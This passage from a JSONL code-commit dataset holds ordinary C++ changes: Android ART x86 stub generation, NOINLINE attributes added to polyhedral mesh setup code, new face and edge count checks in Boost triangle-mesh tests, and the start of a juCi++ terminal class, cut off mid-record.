Method*\n  __ fs()->pushl(Address::Absolute(Thread::SelfOffset()));  \/\/ Thread*\n  __ pushl(EAX);           \/\/ pass Method*\n\n  \/\/ Call to throw AbstractMethodError.\n  __ Call(ThreadOffset(OFFSETOF_MEMBER(Thread, pThrowAbstractMethodErrorFromCode)),\n          X86ManagedRegister::FromCpuRegister(ECX));\n\n#if defined(ART_USE_LLVM_COMPILER)\n  \/\/ Return to caller who will handle pending exception.\n  __ addl(ESP, Immediate(32));\n  __ popl(EBP);\n  __ popl(ESI);\n  __ popl(EDI);\n  __ ret();\n#else\n  \/\/ Call never returns.\n  __ int3();\n#endif\n\n  assembler->EmitSlowPaths();\n\n  size_t cs = assembler->CodeSize();\n  SirtRef<ByteArray> abstract_stub(ByteArray::Alloc(cs));\n  CHECK(abstract_stub.get() != NULL);\n  MemoryRegion code(abstract_stub->GetData(), abstract_stub->GetLength());\n  assembler->FinalizeInstructions(code);\n\n  return abstract_stub.get();\n}\n\nByteArray* CreateJniDlsymLookupStub() {\n  UniquePtr<X86Assembler> assembler(static_cast<X86Assembler*>(Assembler::Create(kX86)));\n\n  \/\/ Pad stack to ensure 16-byte alignment\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));\n  __ fs()->pushl(Address::Absolute(Thread::SelfOffset()));  \/\/ Thread*\n\n  __ Call(ThreadOffset(OFFSETOF_MEMBER(Thread, pFindNativeMethod)),\n          X86ManagedRegister::FromCpuRegister(ECX));\n\n  __ addl(ESP, Immediate(12));\n\n  Label no_native_code_found;  \/\/ forward declaration\n  __ cmpl(EAX, Immediate(0));\n  __ j(kEqual, &no_native_code_found);\n\n  __ jmp(EAX);  \/\/ Tail call into native code\n\n  __ Bind(&no_native_code_found);\n  __ ret(); \/\/ return to caller to handle exception\n\n  assembler->EmitSlowPaths();\n\n  size_t cs = assembler->CodeSize();\n  SirtRef<ByteArray> jni_stub(ByteArray::Alloc(cs));\n  CHECK(jni_stub.get() != NULL);\n  MemoryRegion code(jni_stub->GetData(), jni_stub->GetLength());\n  assembler->FinalizeInstructions(code);\n\n  return jni_stub.get();\n}\n\n} \/\/ namespace x86\n} \/\/ namespace art\n<|endoftext|>"}
{"text":"<commit_before>#include \"mswin.h\"\n#include \"systems.h\"\n#include \"nodes\/system.h\"\n#include \"graphics.h\"\n#include \"vector.h\"\n#include \"memory.h\"\n#include \"compiler.h\"\n#include \"aligned-arrays.h\"\n#include <cassert>\n\nnamespace\n{\n  NOINLINE\n  auto append (float (* & out) [4], const float (* from) [3], unsigned count) -> float (*) [4]\n  {\n    count &= ~1; \/\/ Declare that count is even.\n    for (unsigned n = 0; n != count; ++ n) {\n      out [n] [0] = from [n] [0];\n      out [n] [1] = from [n] [1];\n      out [n] [2] = from [n] [2];\n      out [n] [3] = 0.0f;\n    }\n    float (* result) [4] = out;\n    out += count;\n    return result;\n  }\n\n  void assign (float (* out) [4], const float (* from) [3], unsigned count)\n  {\n     for (unsigned n = 0; n != count; ++ n) {\n      out [n] [0] = from [n] [0];\n      out [n] [1] = from [n] [1];\n      out [n] [2] = from [n] [2];\n      out [n] [3] = 0.0f;\n    }\n  }\n\n  unsigned make_vao (float (* vertices) [4], std::uint8_t (* indices) [6],\n                     unsigned p, unsigned q, unsigned r,\n                     const float (* x) [3], const float (* y) [3], const float (* z) [3],\n                     const std::uint8_t * P, const std::uint8_t * Q, const std::uint8_t * R,\n                     const std::uint8_t * X, const std::uint8_t * Y, const std::uint8_t * Z)\n  {\n    unsigned  N = 2 * p*q*r \/ (q*r + r*p + p*q - p*q*r);\n\n    float (* out) [4] = vertices;\n    append (out, x, N \/ p);\n    append (out, y, N \/ q);\n    append (out, z, N \/ r);\n\n    for (unsigned n = 0; n != N; ++ n) {\n      unsigned i = n;\n      unsigned j = i [R];\n      unsigned k = j [P];\n      assert (i == k [Q]);\n      indices [n] [0] = X [k];\n      indices [n] [1] = Y [j] + N \/ p;\n      indices [n] [2] = Z [j] + N \/ p + N \/ q;\n      indices [n] [3] = X [i];\n      indices [n] [4] = Y [i] + N \/ p;\n      indices [n] [5] = Z [k] + N \/ p + N \/ q;\n    }\n    return data_to_vao_id (N, vertices, indices);\n  }\n\n  template <unsigned q, unsigned r>\n  void initialize_system (float (* vertices) [4], std::uint8_t (* indices) [6],\n                          float (& abc) [system_count] [8] [4],\n                          float (& xyz) [system_count] [3] [4],\n                          unsigned (& primitive_count) [system_count],\n                          unsigned (& vao_ids) [system_count],\n                          const system_t <q, r> & system,\n                          system_select_t select)\n  {\n    assign (abc [select], system.g, 8);\n    assign (& xyz [select] [0], system.x, 1);\n    assign (& xyz [select] [1], system.y, 1);\n    assign (& xyz [select] [2], system.z, 1);\n    primitive_count [select] = system.N;\n    vao_ids [select] = make_vao (vertices, indices,\n                                 2, q, r,\n                                 system.x, system.y, system.z,\n                                 system.P, system.Q, system.R,\n                                 system.X, system.Y, system.Z);\n  }\n}\n\nvoid initialize_systems (float (& abc) [system_count] [8] [4],\n                         float (& xyz) [system_count] [3] [4],\n                         unsigned (& primitive_count) [system_count],\n                         unsigned (& vao_ids) [system_count])\n{\n  const void * data = get_resource_data (256, nullptr);\n  system_t <3, 3> const & t (* reinterpret_cast <system_t <3, 3> const *> (data));\n  system_t <3, 4> const & o (* reinterpret_cast <system_t <3, 4> const *> (& t + 1));\n  system_t <3, 5> const & i (* reinterpret_cast <system_t <3, 5> const *> (& o + 1));\n\n  void  * memory = nullptr;\n  unsigned capacity = 0;\n  float (* vertices) [4] = nullptr;\n  std::uint8_t (* indices) [6] = nullptr;\n  reallocate_aligned_arrays (memory, capacity, i.N + 2, & vertices, & indices);\n\n  initialize_system (vertices, indices, abc, xyz, primitive_count, vao_ids, t, tetrahedral);\n  initialize_system (vertices, indices, abc, xyz, primitive_count, vao_ids, o, octahedral);\n  initialize_system (vertices, indices, abc, xyz, primitive_count, vao_ids, i, icosahedral);\n\n  deallocate (memory);\n}\n<commit_msg>Add NOINLINE attribute (prevents loop unrolling to reduce object size for non-performance critical initialization code).<commit_after>#include \"mswin.h\"\n#include \"systems.h\"\n#include \"nodes\/system.h\"\n#include \"graphics.h\"\n#include \"vector.h\"\n#include \"memory.h\"\n#include \"compiler.h\"\n#include \"aligned-arrays.h\"\n#include <cassert>\n\nnamespace\n{\n  NOINLINE\n  auto append (float (* & out) [4], const float (* from) [3], unsigned count) -> float (*) [4]\n  {\n    count &= ~1; \/\/ Declare that count is even.\n    for (unsigned n = 0; n != count; ++ n) {\n      out [n] [0] = from [n] [0];\n      out [n] [1] = from [n] [1];\n      out [n] [2] = from [n] [2];\n      out [n] [3] = 0.0f;\n    }\n    float (* result) [4] = out;\n    out += count;\n    return result;\n  }\n\n  NOINLINE\n  void assign (float (* out) [4], const float (* from) [3], unsigned count)\n  {\n     for (unsigned n = 0; n != count; ++ n) {\n      out [n] [0] = from [n] [0];\n      out [n] [1] = from [n] [1];\n      out [n] [2] = from [n] [2];\n      out [n] [3] = 0.0f;\n    }\n  }\n\n  NOINLINE\n  unsigned make_vao (float (* vertices) [4], std::uint8_t (* indices) [6],\n                     unsigned p, unsigned q, unsigned r,\n                     const float (* x) [3], const float (* y) [3], const float (* z) [3],\n                     const std::uint8_t * P, const std::uint8_t * Q, const std::uint8_t * R,\n                     const std::uint8_t * X, const std::uint8_t * Y, const std::uint8_t * Z)\n  {\n    unsigned  N = 2 * p*q*r \/ (q*r + r*p + p*q - p*q*r);\n\n    float (* out) [4] = vertices;\n    append (out, x, N \/ p);\n    append (out, y, N \/ q);\n    append (out, z, N \/ r);\n\n    for (unsigned n = 0; n != N; ++ n) {\n      unsigned i = n;\n      unsigned j = i [R];\n      unsigned k = j [P];\n      assert (i == k [Q]);\n      indices [n] [0] = X [k];\n      indices [n] [1] = Y [j] + N \/ p;\n      indices [n] [2] = Z [j] + N \/ p + N \/ q;\n      indices [n] [3] = X [i];\n      indices [n] [4] = Y [i] + N \/ p;\n      indices [n] [5] = Z [k] + N \/ p + N \/ q;\n    }\n    return data_to_vao_id (N, vertices, indices);\n  }\n\n  template <unsigned q, unsigned r>\n  void initialize_system (float (* vertices) [4], std::uint8_t (* indices) [6],\n                          float (& abc) [system_count] [8] [4],\n                          float (& xyz) [system_count] [3] [4],\n                          unsigned (& primitive_count) [system_count],\n                          unsigned (& vao_ids) [system_count],\n                          const system_t <q, r> & system,\n                          system_select_t select)\n  {\n    assign (abc [select], system.g, 8);\n    assign (& xyz [select] [0], system.x, 1);\n    assign (& xyz [select] [1], system.y, 1);\n    assign (& xyz [select] [2], system.z, 1);\n    primitive_count [select] = system.N;\n    vao_ids [select] = make_vao (vertices, indices,\n                                 2, q, r,\n                                 system.x, system.y, system.z,\n                                 system.P, system.Q, system.R,\n                                 system.X, system.Y, system.Z);\n  }\n}\n\nvoid initialize_systems (float (& abc) [system_count] [8] [4],\n                         float (& xyz) [system_count] [3] [4],\n                         unsigned (& primitive_count) [system_count],\n                         unsigned (& vao_ids) [system_count])\n{\n  const void * data = get_resource_data (256, nullptr);\n  system_t <3, 3> const & t (* reinterpret_cast <system_t <3, 3> const *> (data));\n  system_t <3, 4> const & o (* reinterpret_cast <system_t <3, 4> const *> (& t + 1));\n  system_t <3, 5> const & i (* reinterpret_cast <system_t <3, 5> const *> (& o + 1));\n\n  void  * memory = nullptr;\n  unsigned capacity = 0;\n  float (* vertices) [4] = nullptr;\n  std::uint8_t (* indices) [6] = nullptr;\n  reallocate_aligned_arrays (memory, capacity, i.N + 2, & vertices, & indices);\n\n  initialize_system (vertices, indices, abc, xyz, primitive_count, vao_ids, t, tetrahedral);\n  initialize_system (vertices, indices, abc, xyz, primitive_count, vao_ids, o, octahedral);\n  initialize_system (vertices, indices, abc, xyz, primitive_count, vao_ids, i, icosahedral);\n\n  deallocate (memory);\n}\n<|endoftext|>"}
{"text":"<commit_before>#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n\n#include \"trianglemesh.hpp\"\n\nBOOST_AUTO_TEST_SUITE(trianglemesh_test_suite)\n\nBOOST_AUTO_TEST_CASE(declare_test) {\n\t\/\/ check that declarations work as expected\n\tBOOST_CHECK_NO_THROW(Edge edge(0, 1));\n\tBOOST_CHECK_NO_THROW(Face face(0, 1, 2));\n\tBOOST_CHECK_NO_THROW(Mesh mesh);\n\n\t\/\/ degenerate edges and faces\n\tBOOST_CHECK_THROW(Edge edge(20, 20), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(30, 0, 30), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(0, 40, 40), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(50, 50, 0), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(7, 7, 7), std::runtime_error);\n}\n\nBOOST_AUTO_TEST_CASE(edge_index_test_0) {\n\tEdge edge(10, 20);\n\tBOOST_CHECK_EQUAL(edge.ev0, 10);\n\tBOOST_CHECK_EQUAL(edge.ev1, 20);\n}\n\nBOOST_AUTO_TEST_CASE(edge_index_test_1) {\n\tEdge edge(20, 10);\n\tBOOST_CHECK_EQUAL(edge.ev0, 10);\n\tBOOST_CHECK_EQUAL(edge.ev1, 20);\n}\n\nBOOST_AUTO_TEST_CASE(edge_common_test_0) {\n\tEdge e1(10, 11);\n\tEdge e2(12, 13);\n\tstd::vector<int> common = e1.get_common_vertices(e2);\n\tBOOST_CHECK_EQUAL(common.size(), 0);\n}\n\nBOOST_AUTO_TEST_CASE(edge_common_test_1) {\n\tEdge e1(10, 11);\n\tEdge e2(10, 13);\n\tstd::vector<int> common = e1.get_common_vertices(e2);\n\tBOOST_CHECK_EQUAL(common.size(), 1);\n\tBOOST_CHECK_EQUAL(common[0], 10);\n}\n\nBOOST_AUTO_TEST_CASE(edge_common_test_2) {\n\tEdge e1(10, 13);\n\tEdge e2(10, 13);\n\tstd::vector<int> common = e1.get_common_vertices(e2);\n\tBOOST_CHECK_EQUAL(common.size(), 2);\n\tBOOST_CHECK_EQUAL(common[0], 10);\n\tBOOST_CHECK_EQUAL(common[1], 13);\n}\n\nBOOST_AUTO_TEST_CASE(face_winding_test) {\n\tFace f(5, 6, 7);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f.get_vertex_winding(5, 8), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_vertex_winding(8, 5), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_vertex_winding(8, 9), std::runtime_error);\n\t\/\/ correct winding?\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(5, 6), 0);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(6, 7), 0);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(7, 5), 0);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(6, 5), 1);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(7, 6), 1);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(5, 7), 1);\n}\n\nBOOST_AUTO_TEST_CASE(face_next_vertex_test) {\n\tFace f(9, 3, 18);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f.get_next_vertex(5), std::runtime_error);\n\t\/\/ correct next vertex?\n\tBOOST_CHECK_EQUAL(f.get_next_vertex(9), 3);\n\tBOOST_CHECK_EQUAL(f.get_next_vertex(3), 18);\n\tBOOST_CHECK_EQUAL(f.get_next_vertex(18), 9);\n}\n\nBOOST_AUTO_TEST_CASE(face_other_vertex_test) {\n\tFace f(6, 2, 5);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f.get_other_vertex(6, 20), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_other_vertex(60, 2), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_other_vertex(60, 20), std::runtime_error);\n\t\/\/ correct other vertex?\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(6, 2), 5);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(2, 6), 5);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(2, 5), 6);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(5, 2), 6);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(6, 5), 2);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(5, 6), 2);\n}\n\nBOOST_AUTO_TEST_CASE(face_vertex_order_test_0) {\n\tFace f(6, 2, 5);\n\tBOOST_CHECK_EQUAL(f.v0, 2);\n\tBOOST_CHECK_EQUAL(f.v1, 5);\n\tBOOST_CHECK_EQUAL(f.v2, 6);\n}\n\nBOOST_AUTO_TEST_CASE(face_vertex_order_test_1) {\n\tFace f(2, 5, 6);\n\tBOOST_CHECK_EQUAL(f.v0, 2);\n\tBOOST_CHECK_EQUAL(f.v1, 5);\n\tBOOST_CHECK_EQUAL(f.v2, 6);\n}\n\nBOOST_AUTO_TEST_CASE(face_vertex_order_test_2) {\n\tFace f(5, 6, 2);\n\tBOOST_CHECK_EQUAL(f.v0, 2);\n\tBOOST_CHECK_EQUAL(f.v1, 5);\n\tBOOST_CHECK_EQUAL(f.v2, 6);\n}\n\nBOOST_AUTO_TEST_CASE(add_face_test) {\n\tMesh m;\n\n\t\/\/ add faces\n\tBOOST_CHECK_NO_THROW(m.add_face(0, 1, 2));\n\tBOOST_CHECK_NO_THROW(m.add_face(2, 1, 3));\n\tBOOST_CHECK_NO_THROW(m.add_face(2, 3, 4));\n\t\/\/ add duplicate face\n\tBOOST_CHECK_NO_THROW(m.add_face(2, 3, 4));\n\tboost::shared_ptr<MFace> f0 = m.add_face(10, 11, 12);\n\tboost::shared_ptr<MFace> f1 = m.add_face(12, 10, 11);\n\tboost::shared_ptr<MFace> f2 = m.add_face(11, 12, 10);\n\tBOOST_CHECK_EQUAL(f0, f1);\n\tBOOST_CHECK_EQUAL(f0, f2);\n}\n\nBOOST_AUTO_TEST_CASE(face_get_edge_test) {\n\t\/\/ construct mesh\n\tMesh m;\n\tboost::shared_ptr<MFace> f0 = m.add_face(0, 1, 2);\n\tboost::shared_ptr<MFace> f1 = m.add_face(2, 1, 3);\n\tboost::shared_ptr<MFace> f2 = m.add_face(2, 3, 4);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f0->get_edge(0, 3), std::runtime_error);\n\tBOOST_CHECK_THROW(f0->get_edge(3, 0), std::runtime_error);\n\tBOOST_CHECK_THROW(f0->get_edge(3, 4), std::runtime_error);\n\t\/\/ correct edge?\n\tboost::shared_ptr<const MEdge> e0, e1;\n\te0 = f0->get_edge(0, 1);\n\te1 = f0->get_edge(1, 0);\n\tBOOST_CHECK_EQUAL(e0, e1);\n\te0 = f0->get_edge(0, 1);\n\te1 = f0->get_edge(1, 2);\n\tBOOST_CHECK(e0 != e1);\n\te0 = f0->get_edge(1, 2);\n\te1 = f1->get_edge(1, 2);\n\tBOOST_CHECK_EQUAL(e0, e1);\n\tBOOST_CHECK_EQUAL(e0->ev0, 1);\n\tBOOST_CHECK_EQUAL(e0->ev1, 2);\n\tBOOST_CHECK_EQUAL(e1->ev0, 1);\n\tBOOST_CHECK_EQUAL(e1->ev1, 2);\n\te0 = f1->get_edge(2, 3);\n\te1 = f2->get_edge(2, 3);\n\tBOOST_CHECK_EQUAL(e0, e1);\n\tBOOST_CHECK_EQUAL(e0->ev0, 2);\n\tBOOST_CHECK_EQUAL(e0->ev1, 3);\n\tBOOST_CHECK_EQUAL(e1->ev0, 2);\n\tBOOST_CHECK_EQUAL(e1->ev1, 3);\n}\n\nBOOST_AUTO_TEST_CASE(face_get_common_edges_test) {\n\t\/\/ construct mesh\n\tMesh m;\n\tboost::shared_ptr<MFace> f0;\n\tboost::shared_ptr<MFace> f1;\n\tboost::shared_ptr<MFace> f2;\n\tf0 = m.add_face(0, 1, 2);\n\tf1 = m.add_face(2, 1, 3);\n\tf2 = m.add_face(2, 3, 4);\n\t\/\/ correct edge?\n\tstd::vector<boost::shared_ptr<const MEdge> > common;\n\tcommon = f0->get_common_edges(*f2);\n\tBOOST_CHECK_EQUAL(common.size(), 0);\n\tcommon = f0->get_common_edges(*f1);\n\tBOOST_CHECK_EQUAL(common.size(), 1);\n\tBOOST_CHECK_EQUAL(common[0]->ev0, 1);\n\tBOOST_CHECK_EQUAL(common[0]->ev1, 2);\n\tcommon = f0->get_common_edges(*f0);\n\tBOOST_CHECK_EQUAL(common.size(), 3);\n\tBOOST_CHECK_EQUAL(common[0]->ev0, 0);\n\tBOOST_CHECK_EQUAL(common[0]->ev1, 1);\n\tBOOST_CHECK_EQUAL(common[1]->ev0, 1);\n\tBOOST_CHECK_EQUAL(common[1]->ev1, 2);\n\tBOOST_CHECK_EQUAL(common[2]->ev0, 0);\n\tBOOST_CHECK_EQUAL(common[2]->ev1, 2);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>Test number of faces and edges, when duplicates are around.<commit_after>#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n\n#include \"trianglemesh.hpp\"\n\nBOOST_AUTO_TEST_SUITE(trianglemesh_test_suite)\n\nBOOST_AUTO_TEST_CASE(declare_test) {\n\t\/\/ check that declarations work as expected\n\tBOOST_CHECK_NO_THROW(Edge edge(0, 1));\n\tBOOST_CHECK_NO_THROW(Face face(0, 1, 2));\n\tBOOST_CHECK_NO_THROW(Mesh mesh);\n\n\t\/\/ degenerate edges and faces\n\tBOOST_CHECK_THROW(Edge edge(20, 20), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(30, 0, 30), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(0, 40, 40), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(50, 50, 0), std::runtime_error);\n\tBOOST_CHECK_THROW(Face face(7, 7, 7), std::runtime_error);\n}\n\nBOOST_AUTO_TEST_CASE(edge_index_test_0) {\n\tEdge edge(10, 20);\n\tBOOST_CHECK_EQUAL(edge.ev0, 10);\n\tBOOST_CHECK_EQUAL(edge.ev1, 20);\n}\n\nBOOST_AUTO_TEST_CASE(edge_index_test_1) {\n\tEdge edge(20, 10);\n\tBOOST_CHECK_EQUAL(edge.ev0, 10);\n\tBOOST_CHECK_EQUAL(edge.ev1, 20);\n}\n\nBOOST_AUTO_TEST_CASE(edge_common_test_0) {\n\tEdge e1(10, 11);\n\tEdge e2(12, 13);\n\tstd::vector<int> common = e1.get_common_vertices(e2);\n\tBOOST_CHECK_EQUAL(common.size(), 0);\n}\n\nBOOST_AUTO_TEST_CASE(edge_common_test_1) {\n\tEdge e1(10, 11);\n\tEdge e2(10, 13);\n\tstd::vector<int> common = e1.get_common_vertices(e2);\n\tBOOST_CHECK_EQUAL(common.size(), 1);\n\tBOOST_CHECK_EQUAL(common[0], 10);\n}\n\nBOOST_AUTO_TEST_CASE(edge_common_test_2) {\n\tEdge e1(10, 13);\n\tEdge e2(10, 13);\n\tstd::vector<int> common = e1.get_common_vertices(e2);\n\tBOOST_CHECK_EQUAL(common.size(), 2);\n\tBOOST_CHECK_EQUAL(common[0], 10);\n\tBOOST_CHECK_EQUAL(common[1], 13);\n}\n\nBOOST_AUTO_TEST_CASE(face_winding_test) {\n\tFace f(5, 6, 7);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f.get_vertex_winding(5, 8), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_vertex_winding(8, 5), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_vertex_winding(8, 9), std::runtime_error);\n\t\/\/ correct winding?\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(5, 6), 0);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(6, 7), 0);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(7, 5), 0);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(6, 5), 1);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(7, 6), 1);\n\tBOOST_CHECK_EQUAL(f.get_vertex_winding(5, 7), 1);\n}\n\nBOOST_AUTO_TEST_CASE(face_next_vertex_test) {\n\tFace f(9, 3, 18);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f.get_next_vertex(5), std::runtime_error);\n\t\/\/ correct next vertex?\n\tBOOST_CHECK_EQUAL(f.get_next_vertex(9), 3);\n\tBOOST_CHECK_EQUAL(f.get_next_vertex(3), 18);\n\tBOOST_CHECK_EQUAL(f.get_next_vertex(18), 9);\n}\n\nBOOST_AUTO_TEST_CASE(face_other_vertex_test) {\n\tFace f(6, 2, 5);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f.get_other_vertex(6, 20), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_other_vertex(60, 2), std::runtime_error);\n\tBOOST_CHECK_THROW(f.get_other_vertex(60, 20), std::runtime_error);\n\t\/\/ correct other vertex?\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(6, 2), 5);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(2, 6), 5);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(2, 5), 6);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(5, 2), 6);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(6, 5), 2);\n\tBOOST_CHECK_EQUAL(f.get_other_vertex(5, 6), 2);\n}\n\nBOOST_AUTO_TEST_CASE(face_vertex_order_test_0) {\n\tFace f(6, 2, 5);\n\tBOOST_CHECK_EQUAL(f.v0, 2);\n\tBOOST_CHECK_EQUAL(f.v1, 5);\n\tBOOST_CHECK_EQUAL(f.v2, 6);\n}\n\nBOOST_AUTO_TEST_CASE(face_vertex_order_test_1) {\n\tFace f(2, 5, 6);\n\tBOOST_CHECK_EQUAL(f.v0, 2);\n\tBOOST_CHECK_EQUAL(f.v1, 5);\n\tBOOST_CHECK_EQUAL(f.v2, 6);\n}\n\nBOOST_AUTO_TEST_CASE(face_vertex_order_test_2) {\n\tFace f(5, 6, 2);\n\tBOOST_CHECK_EQUAL(f.v0, 2);\n\tBOOST_CHECK_EQUAL(f.v1, 5);\n\tBOOST_CHECK_EQUAL(f.v2, 6);\n}\n\nBOOST_AUTO_TEST_CASE(add_face_test) {\n\tMesh m;\n\n\t\/\/ add faces\n\tBOOST_CHECK_NO_THROW(m.add_face(0, 1, 2));\n\tBOOST_CHECK_NO_THROW(m.add_face(2, 1, 3));\n\tBOOST_CHECK_NO_THROW(m.add_face(2, 3, 4));\n\tBOOST_CHECK_EQUAL(m.faces.size(), 3);\n\tBOOST_CHECK_EQUAL(m.edges.size(), 7);\n\t\/\/ add duplicate face\n\tBOOST_CHECK_NO_THROW(m.add_face(2, 3, 4));\n\tboost::shared_ptr<MFace> f0 = m.add_face(10, 11, 12);\n\tboost::shared_ptr<MFace> f1 = m.add_face(12, 10, 11);\n\tboost::shared_ptr<MFace> f2 = m.add_face(11, 12, 10);\n\tBOOST_CHECK_EQUAL(f0, f1);\n\tBOOST_CHECK_EQUAL(f0, f2);\n\t\/\/ one extra face, three extra edges\n\tBOOST_CHECK_EQUAL(m.faces.size(), 4);\n\tBOOST_CHECK_EQUAL(m.edges.size(), 10);\n}\n\nBOOST_AUTO_TEST_CASE(face_get_edge_test) {\n\t\/\/ construct mesh\n\tMesh m;\n\tboost::shared_ptr<MFace> f0 = m.add_face(0, 1, 2);\n\tboost::shared_ptr<MFace> f1 = m.add_face(2, 1, 3);\n\tboost::shared_ptr<MFace> f2 = m.add_face(2, 3, 4);\n\t\/\/ throw on illegal index?\n\tBOOST_CHECK_THROW(f0->get_edge(0, 3), std::runtime_error);\n\tBOOST_CHECK_THROW(f0->get_edge(3, 0), std::runtime_error);\n\tBOOST_CHECK_THROW(f0->get_edge(3, 4), std::runtime_error);\n\t\/\/ correct edge?\n\tboost::shared_ptr<const MEdge> e0, e1;\n\te0 = f0->get_edge(0, 1);\n\te1 = f0->get_edge(1, 0);\n\tBOOST_CHECK_EQUAL(e0, e1);\n\te0 = f0->get_edge(0, 1);\n\te1 = f0->get_edge(1, 2);\n\tBOOST_CHECK(e0 != e1);\n\te0 = f0->get_edge(1, 2);\n\te1 = f1->get_edge(1, 2);\n\tBOOST_CHECK_EQUAL(e0, e1);\n\tBOOST_CHECK_EQUAL(e0->ev0, 1);\n\tBOOST_CHECK_EQUAL(e0->ev1, 2);\n\tBOOST_CHECK_EQUAL(e1->ev0, 1);\n\tBOOST_CHECK_EQUAL(e1->ev1, 2);\n\te0 = f1->get_edge(2, 3);\n\te1 = f2->get_edge(2, 3);\n\tBOOST_CHECK_EQUAL(e0, e1);\n\tBOOST_CHECK_EQUAL(e0->ev0, 2);\n\tBOOST_CHECK_EQUAL(e0->ev1, 3);\n\tBOOST_CHECK_EQUAL(e1->ev0, 2);\n\tBOOST_CHECK_EQUAL(e1->ev1, 3);\n}\n\nBOOST_AUTO_TEST_CASE(face_get_common_edges_test) {\n\t\/\/ construct mesh\n\tMesh m;\n\tboost::shared_ptr<MFace> f0;\n\tboost::shared_ptr<MFace> f1;\n\tboost::shared_ptr<MFace> f2;\n\tf0 = m.add_face(0, 1, 2);\n\tf1 = m.add_face(2, 1, 3);\n\tf2 = m.add_face(2, 3, 4);\n\t\/\/ correct edge?\n\tstd::vector<boost::shared_ptr<const MEdge> > common;\n\tcommon = f0->get_common_edges(*f2);\n\tBOOST_CHECK_EQUAL(common.size(), 0);\n\tcommon = f0->get_common_edges(*f1);\n\tBOOST_CHECK_EQUAL(common.size(), 1);\n\tBOOST_CHECK_EQUAL(common[0]->ev0, 1);\n\tBOOST_CHECK_EQUAL(common[0]->ev1, 2);\n\tcommon = f0->get_common_edges(*f0);\n\tBOOST_CHECK_EQUAL(common.size(), 3);\n\tBOOST_CHECK_EQUAL(common[0]->ev0, 0);\n\tBOOST_CHECK_EQUAL(common[0]->ev1, 1);\n\tBOOST_CHECK_EQUAL(common[1]->ev0, 1);\n\tBOOST_CHECK_EQUAL(common[1]->ev1, 2);\n\tBOOST_CHECK_EQUAL(common[2]->ev0, 0);\n\tBOOST_CHECK_EQUAL(common[2]->ev1, 2);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"}
{"text":"<commit_before>#include \"terminal.h\"\n#include <iostream>\n#include \"logging.h\"\n#include \"config.h\"\n#ifdef JUCI_ENABLE_DEBUG\n#include \"debug.h\"\n#endif\n\nTerminal::InProgress::InProgress(const std::string& start_msg): stop(false) {\n  waiting_print.connect([this](){\n    Terminal::get().async_print(line_nr-1, \".\");\n  });\n  start(start_msg);\n}\n\nTerminal::InProgress::~InProgress() {\n  stop=true;\n  if(wait_thread.joinable())\n    wait_thread.join();\n}\n\nvoid Terminal::InProgress::start(const std::string& msg) {\n  line_nr=Terminal::get().print(msg+\"...\\n\");\n  wait_thread=std::thread([this](){\n    size_t c=0;\n    while(!stop) {\n      if(c%100==0)\n        waiting_print();\n      std::this_thread::sleep_for(std::chrono::milliseconds(10));\n      c++;\n    }\n  });\n}\n\nvoid Terminal::InProgress::done(const std::string& msg) {\n  if(!stop) {\n    stop=true;\n    Terminal::get().async_print(line_nr-1, msg);\n  }\n}\n\nvoid Terminal::InProgress::cancel(const std::string& msg) {\n  if(!stop) {\n    stop=true;\n    Terminal::get().async_print(line_nr-1, msg);\n  }\n}\n\nTerminal::Terminal() {\n  bold_tag=get_buffer()->create_tag();\n  bold_tag->property_weight()=PANGO_WEIGHT_BOLD;\n  \n  async_print_dispatcher.connect([this](){\n    async_print_strings_mutex.lock();\n    if(async_print_strings.size()>0) {\n      for(auto &string_bold: async_print_strings)\n        print(string_bold.first, string_bold.second);\n      async_print_strings.clear();\n    }\n    async_print_strings_mutex.unlock();\n  });\n  async_print_on_line_dispatcher.connect([this](){\n    async_print_on_line_strings_mutex.lock();\n    